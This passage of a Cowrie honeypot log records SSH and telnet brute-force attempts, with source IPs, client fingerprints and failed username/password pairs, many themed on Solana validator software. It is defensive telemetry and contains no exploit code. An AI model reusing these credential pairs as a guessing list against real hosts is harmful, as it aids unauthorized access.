a-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:03:23.888248Z","src_ip":"195.178.110.218","session":"a07d64a19c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:03:23.909928Z","src_ip":"80.94.92.186","session":"69ce6b393643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:03:24.128877Z","src_ip":"195.178.110.218","session":"a07d64a19c5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol321","message":"login attempt [sol/sol321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:03:24.599076Z","src_ip":"80.94.92.186","session":"69ce6b393643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:03:25.214204Z","src_ip":"195.178.110.218","session":"a07d64a19c5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:03:25.842848Z","src_ip":"80.94.92.186","session":"69ce6b393643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.20.79.159","src_port":35505,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c3b06bf9997","protocol":"telnet","message":"New connection: 116.20.79.159:35505 (10.17.0.5:23) [session: 3c3b06bf9997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:03:58.244874Z"}
{"eventid":"cowrie.session.closed","duration":13.205607175827026,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:04:11.450371Z","src_ip":"116.20.79.159","session":"3c3b06bf9997","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":54296,"dst_ip":"159.203.135.109","dst_port":22,"session":"816e97b92c5f","protocol":"ssh","message":"New connection: 193.32.162.151:54296 (159.203.135.109:22) [session: 816e97b92c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:04:45.332549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:04:45.337588Z","src_ip":"193.32.162.151","session":"816e97b92c5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:04:45.436943Z","src_ip":"193.32.162.151","session":"816e97b92c5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"root","message":"login attempt [user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:04:45.729481Z","src_ip":"193.32.162.151","session":"816e97b92c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:04:46.833107Z","src_ip":"193.32.162.151","session":"816e97b92c5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":38576,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fb1086925ce","protocol":"ssh","message":"New connection: 92.118.39.95:38576 (10.17.0.5:22) [session: 0fb1086925ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:05:04.709666Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:05:04.814960Z","src_ip":"92.118.39.95","session":"0fb1086925ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50012,"dst_ip":"159.203.135.109","dst_port":22,"session":"92c9d541846f","protocol":"ssh","message":"New connection: 195.178.110.218:50012 (159.203.135.109:22) [session: 92c9d541846f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:01.508670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:01.513222Z","src_ip":"195.178.110.218","session":"92c9d541846f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:01.591140Z","src_ip":"195.178.110.218","session":"92c9d541846f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:01.819277Z","src_ip":"195.178.110.218","session":"92c9d541846f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:02.897729Z","src_ip":"195.178.110.218","session":"92c9d541846f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":46502,"dst_ip":"10.17.0.5","dst_port":22,"session":"258752e65e49","protocol":"ssh","message":"New connection: 80.94.92.186:46502 (10.17.0.5:22) [session: 258752e65e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:24.577015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:24.656559Z","src_ip":"80.94.92.186","session":"258752e65e49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:24.728577Z","src_ip":"80.94.92.186","session":"258752e65e49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol@123","message":"login attempt [sol/sol@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:25.318365Z","src_ip":"80.94.92.186","session":"258752e65e49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:26.463243Z","src_ip":"80.94.92.186","session":"258752e65e49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.19.255.198","src_port":42583,"dst_ip":"10.17.0.5","dst_port":23,"session":"963390e3e902","protocol":"telnet","message":"New connection: 223.19.255.198:42583 (10.17.0.5:23) [session: 963390e3e902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:31.853509Z"}
{"eventid":"cowrie.session.closed","duration":13.847352504730225,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:45.700743Z","src_ip":"223.19.255.198","session":"963390e3e902","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":41938,"dst_ip":"159.203.135.109","dst_port":22,"session":"a89bb1c1ba90","protocol":"ssh","message":"New connection: 193.32.162.151:41938 (159.203.135.109:22) [session: a89bb1c1ba90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:58.001312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:58.008746Z","src_ip":"193.32.162.151","session":"a89bb1c1ba90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:58.144255Z","src_ip":"193.32.162.151","session":"a89bb1c1ba90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin","message":"login attempt [user/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:58.466208Z","src_ip":"193.32.162.151","session":"a89bb1c1ba90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:06:59.576117Z","src_ip":"193.32.162.151","session":"a89bb1c1ba90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.149.157.66","src_port":40386,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdf66d2656c8","protocol":"telnet","message":"New connection: 188.149.157.66:40386 (10.17.0.5:23) [session: fdf66d2656c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:08:21.382528Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":53064,"dst_ip":"10.17.0.5","dst_port":22,"session":"a53e9b7a5646","protocol":"ssh","message":"New connection: 92.118.39.95:53064 (10.17.0.5:22) [session: a53e9b7a5646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:08:22.347105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:08:22.351305Z","src_ip":"92.118.39.95","session":"a53e9b7a5646","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:08:22.458615Z","src_ip":"92.118.39.95","session":"a53e9b7a5646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:08:22.776546Z","src_ip":"92.118.39.95","session":"a53e9b7a5646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:08:23.885027Z","src_ip":"92.118.39.95","session":"a53e9b7a5646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82287883758545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:08:52.205243Z","src_ip":"188.149.157.66","session":"fdf66d2656c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41580,"dst_ip":"159.203.135.109","dst_port":22,"session":"00df969fa0f9","protocol":"ssh","message":"New connection: 195.178.110.218:41580 (159.203.135.109:22) [session: 00df969fa0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:08:53.550191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:08:53.554693Z","src_ip":"195.178.110.218","session":"00df969fa0f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:08:53.630443Z","src_ip":"195.178.110.218","session":"00df969fa0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:08:53.855967Z","src_ip":"195.178.110.218","session":"00df969fa0f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:08:54.933785Z","src_ip":"195.178.110.218","session":"00df969fa0f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":57816,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fc36bdcb492","protocol":"ssh","message":"New connection: 193.32.162.151:57816 (159.203.135.109:22) [session: 6fc36bdcb492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:09:17.249436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:09:17.253687Z","src_ip":"193.32.162.151","session":"6fc36bdcb492","protocol":"ssh"}
